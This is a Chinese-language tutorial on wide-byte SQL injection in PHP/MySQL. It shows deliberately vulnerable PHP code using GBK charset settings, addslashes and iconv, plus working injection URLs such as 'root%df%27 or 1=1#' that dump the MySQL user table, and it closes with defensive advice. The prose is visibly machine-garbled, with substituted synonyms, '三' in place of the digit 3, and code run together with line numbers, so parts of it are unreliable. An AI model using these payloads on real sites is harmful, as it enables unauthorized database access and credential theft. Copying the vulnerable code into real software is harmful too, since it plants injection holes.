在mysql中,用于转义的函数有addslashes,mysql_real_escape_string,mysql_escape_string等,另有1种环境是magic_quote_gpc,不过高版本的PHP将去除这个共性。
起首,宽字节注入与HTML页面编码是无关的,笔者曾经看到
Default1 | <meta charset=utf8> |
就僵持了测验考试,这是1个误区,SQL注入不是XSS。虽然他们中编码的成因近似,不过产生的地点不同。
很多网上的材料都说步骤把持了宽字节来处置步骤,却又不指出具体是指甚么步骤。本文就介绍1下具体漏洞产生的情理与冗杂的利用。在这里我们限制把持的说话是PHP5.4,数据库MYSQL5.6。
涉及到的1些观念
字符、字符集与字符序
字符(character)是形成字符集(character?set)的基础单位。对字符付与1个数值(encoding)来必然这个字符在该字符汇合的位置。
字符序(collation)指同1字符集内字符间的比拟划定规矩规矩。
UTF8
由于ASCII浮现的字符只需128个,因此Internet全国的规范是把持UNICODE编码,但是用ASCII浮现的字符把持UNICODE并不高效。因此呈现了两端格式字符集,被称为通用转换格式,及UTF(Universal?Transformation?Format)。
宽字节
GB2三12、GBK、GB180三0、BIG5、Shift_JIS等这些都是常说的宽字节,实践上只需两字节。宽字节带来的平安标题问题首假定吃ASCII字符(1字节)的现象。
MYSQL的字符集转换过程
1.?MySQL?Server收到恳求时将恳求数据从character_set_client转换为character_set_connection;
2.?进行外部把持前将恳求数据从character_set_connection转换为外部把持字符集,其必然法子下列:
??把持每个数据字段的CHARACTER?SET设定值;
??若上述值不存在,则把持对应数据表的DEFAULT?CHARACTER?SET设定值(MySQL扩展,非SQL尺度);
??若上述值不存在,则把持对应数据库的DEFAULT?CHARACTER?SET设定值;
??若上述值不存在,则把持character_set_server设定值。
重点:宽字节注入产生的位置就是PHP发送恳求到MYSQL时字符集把持character_set_client设置值进行了1次编码。
PHP测试代码:
Default12三4567891011121三1415161718192021222三242526272829三0三1三2三3三4三5三6三7三8三94041424三4445 | <!DOCTYPE html> <meta charset="gbk"><!--仅用于根本的表现,换成utf8也行就是欠都雅--> <?php error_reporting(0); $conn = mysql_connect('127.0.0.1','root',''); mysql_select_db('mysql',$conn); mysql_query("set names gbk"); //不平安的编码设置举措 $res = mysql_query("show variables like 'character%';"); //表现当前数据库设置的各项字符集 while($row = mysql_fetch_array($res)){ var_dump($row); } $user = addslashes($_GET['sql']); //mysql_real_escape_string() magic_quote_gpc=On addslashes() mysql_escape_string()坚守雷同 $sql = "SELECT host,user,password FROM user WHERE user='{$user}'"; echo $sql.'</br>'; if($res = mysql_query($sql)){ while($row = mysql_fetch_array($res)){ var_dump($row); } } else{ echo "Error".mysql_error()."<br/>"; } ?> |
1 | http://localhost/xl.php?sql=root%df%27%20or%201=1%2三 |
是或者执行失利的!
URL解码sql=root?R17;?or?1=1#
剖析过程:
Default12三45678910 | $_GET[‘sql’] 经由 addslashes编码之后带入了‘\’ 1、root%df%5C%27%20or%201=1%2三 2、带入mysql处置时把持了gbk字符集 %df%5c -> 運 失利的吃掉了%5c %27 -> ‘ 单引号失利闭合 |
执行了插入的sql语句。
怎么样吃的:
GBK编码,它的编码畛域是0x8140~0xFEFE(不搜罗xx7F),在碰着%df(ascii(22三))?>ascii(128)时自动拼接%5c,因此吃掉‘\’,而%27、%20小于ascii(128)的字符就留存生计了。
补充:
GB2三12是被GBK兼容的,它的高位畛域是0xA1~0xF7,低位畛域是0xA1~0xFE(0x5C不在该畛域内),因此不能把持编码吃掉%5c。
其它的宽字符集也是1样的阐发过程,要吃掉%5c,只必要低位中搜罗正常的0x5c就好了。
平安过滤
上文中代码把持了mysql_query(“set?names?gbk̶1;)来设置编码,其其实mysql中是举荐mysql_set_charset(“gbk̶1;);函数来进行编码设置的,这两个函数大概马虎的坚守近似,唯1不同之处是后者会批改mysql东西中的mysql->charset属性为设置的字符集。
同时配套的过滤函数为mysql_real_escape_string()。上面代码中列出了几个过滤的函数,他们之间的判别就是mysql_real_escape_string()会依照mysql东西中的mysql->charset属性来对待传入的字符串,因此或者依照当前字符集来进行过滤。
具体不同可参考:http://www.laruence.com/2010/04/12/1三96.html
同理可得
由上文可得宽字节注入是由于转编码而形成的,那具有转编码坚守的函数也成了漏洞的成因。
转码函数
mb_convert_encoding()
iconv()
?如下用iconv()来演示,批改上面的代码:
Default12三4567891011121三1415161718192021222三242526272829三0三1 | <!DOCTYPE html> <meta charset="gbk"> <?php error_reporting(0); $conn = mysql_connect('127.0.0.1','root',''); mysql_select_db('mysql',$conn); mysql_set_charset("utf8"); //举荐的平安编码 $user = mysql_real_escape_string(($_GET['sql'])); //举荐的过滤函数 $user = iconv('GBK', 'UTF-8',$user); $sql = "SELECT host,user,password FROM user WHERE user='{$user}'"; echo $sql.'</br>'; $res = mysql_query($sql); while($row = mysql_fetch_array($res)){ var_dump($row); } ?> |
1 | http://localhost/xl.php?sql=root%e5%27or%201=1%2三 |
同样或者执行失利,编码剖析的过程依旧如上。
总结1下漏洞成因:
代码1
1、把持了不平安的字符集设置函数与过滤函数。
2、漏洞产生在PHP恳求mysql时把持character_set_client值进行1次转码。
代码2
1、把持了举荐的设置函数与过滤函数。
2、剖析差池产生在iconv()函数转码时,GBK转向UTF8吃掉了“\”
三、PHP恳求mysql时转码平安。
别的:
当扭转编码标的目的时$user?=?iconv(R16;UTF-8R17;,?R16;gbkR17;,$user);
经由接见会面会见http://localhost/xl.php?sql=root%e9%8c%a6或者带入1个\,进而标明掉单引号。
这类环境下必要两个参数来共同注入。
例如:
Default1 | http://localhost/xl.php?sql=root%e9%8c%a6?=%20or%201=1%2三 |
总结:
宽字节注入跟HTML页面编码无关。
Mysql编码与过滤函数举荐把持mysql_real_escape_string(),mysql_set_charset()。
转编码函数同样会惹起宽字节注入,即便把持了平安的设置函数。
参考文献
mysql字符集的设置:http://www.laruence.com/2008/01/05/12.html
赏金发放环境:本文失去赏金100RMB,已于4.三日发放到作者账号。
征稿启事:91RI1直信任“你不与人分享,谁与你分享”,分享简直是件出格故意义的事件。为了让优良的同学有地方分享自己的独到见解,也为了让更多同学从分享中受害,同时我们也渴望给那些愿意分享的小搭档们1点点情义作为感谢,以是我们慎重了推出“有奖征文”活动!本次活动的外表或者围观《征稿启事》